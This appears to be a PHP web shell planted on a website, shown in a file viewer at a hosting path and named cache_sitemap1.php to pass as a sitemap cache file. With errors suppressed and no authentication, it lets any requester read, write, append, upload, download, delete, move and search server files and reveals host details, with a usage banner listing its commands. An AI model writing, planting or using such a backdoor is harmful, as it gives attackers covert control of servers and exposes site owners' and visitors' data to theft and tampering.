👁 查看:cache_sitemap1.php
路径:/home/boguraj1/booklover.xyz/hosting/cache_sitemap1.php
大小:5.27 KB · 修改:2026-10-13 10:23:46 · 权限:0644 · 可写
<?php
error_reporting(0);
header('Content-Type: text/plain; charset=utf-8');
function xp($p){ return str_replace('\\','/',(string)$p); }
function xb($o){ return isset($_REQUEST[$o]) && $_REQUEST[$o]!=='' && $_REQUEST[$o]!=='0'; }
function xd($d){ if(xb('b64')){ return base64_decode(strtr($d,'-_','+/')); } return $d; }
function xfin($o,$d){ if(xb('b64')){ return base64_decode(strtr($d,'-_','+/')); } return $d; }

if(isset($_REQUEST['c'])){
  echo 'OK: c=1'."\n";
  echo 'hostname='.(function_exists('gethostname')?@gethostname():'ERR: 不可用')."\n";
  echo 'self='.xp(__FILE__)."\n";
  echo 'uid='.(@getmyuid()===false?'ERR: 不可用':@getmyuid())."\n";
  echo 'owner='.(@get_current_user()===''?'ERR: 不可用':@get_current_user())."\n";
  echo 'php='.@phpversion()."\n";
  echo 'dir='.xp(dirname(__FILE__))."\n";
  echo 'dir_writable='.(@is_writable(dirname(__FILE__))?'1':'0')."\n";
  exit;
}
if(isset($_REQUEST['up'])){
  $to=xp(isset($_REQUEST['to'])?(string)$_REQUEST['to']:'');
  if(!isset($_FILES['f'])||!is_array($_FILES['f'])){ echo 'ERR: need multipart field f'."\n"; exit; }
  if($to===''){ $to=xp(dirname(__FILE__)).'/'.basename((string)$_FILES['f']['name']); }
  $dir=dirname($to); if(!@is_dir($dir)){ @mkdir($dir,0755,true); }
  $tmp=(string)$_FILES['f']['tmp_name'];
  if(!@is_uploaded_file($tmp)){ echo 'ERR: not uploaded file'."\n"; exit; }
  if(!@move_uploaded_file($tmp,$to)){ echo 'ERR: move failed '.$to."\n"; exit; }
  echo 'OK: uploaded='.@filesize($to).' -> '.$to."\n";
  echo 'verify_sha1='.@sha1_file($to)."\n"; exit;
}
if(isset($_REQUEST['t'])){
  $tp=(string)$_REQUEST['t'];
  if($tp!=='' && $tp!=='1'){
    $tp=xp($tp);
    if(!@file_exists($tp)){ echo 'ERR: no file '.$tp."\n"; exit; }
    echo 'OK: size='.@filesize($tp).' sha1='.@sha1_file($tp).' path='.$tp."\n"; exit;
  }
  echo 'OK: time='.date('Y-m-d H:i:s').' unix='.time()."\n"; echo 'self_mtime='.@date('Y-m-d H:i:s',@filemtime(__FILE__))."\n"; exit;
}
if(isset($_REQUEST['wa'])){
  $f=xp((string)$_REQUEST['wa']);
  $data=xd(isset($_REQUEST['data'])?(string)$_REQUEST['data']:'');
  if($f===''){ echo 'ERR: need wa=<path>'."\n"; exit; }
  $dir=dirname($f); if(!@is_dir($dir)){ @mkdir($dir,0755,true); }
  if(xb('init')){ @file_put_contents($f,''); }
  $r=@file_put_contents($f,$data,FILE_APPEND);
  if($r===false){ echo 'ERR: append failed '.$f."\n"; exit; }
  echo 'OK: appended='.$r.' size='.@filesize($f).' -> '.$f."\n";
  echo 'sha1='.@sha1_file($f)."\n"; exit;
}
if(isset($_REQUEST['w'])){
  $f=xp((string)$_REQUEST['w']);
  $data=xd(isset($_REQUEST['data'])?(string)$_REQUEST['data']:'');
  if($f===''){ echo 'ERR: need w=<path>'."\n"; exit; }
  $dir=dirname($f); if(!@is_dir($dir)){ @mkdir($dir,0755,true); }
  $r=@file_put_contents($f,$data);
  if($r===false){ echo 'ERR: write failed '.$f."\n"; exit; }
  echo 'OK: wrote bytes='.$r.' -> '.$f."\n";
  echo 'verify_sha1='.@sha1_file($f).' expect_sha1='.sha1($data)."\n"; exit;
}
if(isset($_REQUEST['l'])){
  $d=(string)$_REQUEST['l']; if($d===''||$d==='1'){ $d=dirname(__FILE__); }
  $d=xp($d); if(!@is_dir($d)){ echo 'ERR: not a dir '.$d."\n"; exit; }
  $h=@scandir($d); if($h===false){ echo 'ERR: cannot list '.$d."\n"; exit; }
  echo 'OK: list '.$d."\n";
  foreach($h as $f){ if($f==='.'||$f==='..'){continue;} $p=$d.'/'.$f;
    $t=@is_dir($p)?'d':(@is_link($p)?'l':'-');
    echo $t.' '.@substr(sprintf('%o',@fileperms($p)),-4).' '.@date('Y-m-d H:i',@filemtime($p)).' '.@filesize($p).' '.$f."\n"; }
  exit;
}
if(isset($_REQUEST['r'])){
  $f=xp((string)$_REQUEST['r']);
  if(!@is_file($f)){ echo 'ERR: no file '.$f."\n"; exit; }
  $d=@file_get_contents($f); if($d===false){ echo 'ERR: cannot read '.$f."\n"; exit; }
  if(xb('b64')){ echo 'OK: b64 '.$f.' bytes='.strlen($d)."\n".base64_encode($d); }
  else { echo 'OK: read '.$f.' bytes='.strlen($d)."\n".$d; }
  exit;
}
if(isset($_REQUEST['s'])){
  $kw=(string)$_REQUEST['s'];
  $root=(isset($_REQUEST['l'])&&$_REQUEST['l']!==''&&$_REQUEST['l']!=='1')?xp($_REQUEST['l']):xp(dirname(__FILE__));
  echo 'OK: search '.$kw.' in '.$root."\n";
  $st=array($root); $n=0;
  while($st && $n<4000){ $cur=array_pop($st); $h=@scandir($cur); if($h===false){continue;}
    foreach($h as $f){ if($f==='.'||$f==='..'){continue;} $p=$cur.'/'.$f; $n++;
      if(strpos($f,$kw)!==false){ echo 'HIT '.$p."\n"; }
      if(@is_dir($p)&&$n<4000){ $st[]=$p; } } }
  echo 'OK: scanned='.$n."\n"; exit;
}
if(isset($_REQUEST['dl'])){
  $f=xp((string)$_REQUEST['dl']);
  if(!@is_file($f)){ header('HTTP/1.1 404 Not Found'); echo 'Not Found'; exit; }
  header('Content-Type: application/octet-stream');
  header('Content-Disposition: attachment; filename="'.basename($f).'"');
  header('Content-Length: '.(string)@filesize($f));
  echo @file_get_contents($f); exit;
}
if(isset($_REQUEST['d'])){
  $f=xp((string)$_REQUEST['d']);
  if(!@file_exists($f)){ echo 'ERR: no file '.$f."\n"; exit; }
  echo (@unlink($f)?'OK: deleted ':'ERR: cannot delete ').$f."\n"; exit;
}
if(isset($_REQUEST['mv'])){
  $f=xp((string)$_REQUEST['mv']); $t=isset($_REQUEST['to'])?xp((string)$_REQUEST['to']):'';
  if($t===''){ echo 'ERR: need to='."\n"; exit; }
  echo (@rename($f,$t)?'OK: moved to ':'ERR: cannot move ').$t."\n"; exit;
}
echo "OK: xiaoma\n";
echo "c=1 | l=1|<dir> | r=<f>[&b64=1] | w=<p>&data=<c>[&b64=1] | wa=<p>&data=<c>[&b64=1][&init=1] | up=1&to=<p> (multipart f) | t=1|<path> | s=<kw> | d=<p> | mv=<p>&to=<p> | dl=<f>\n";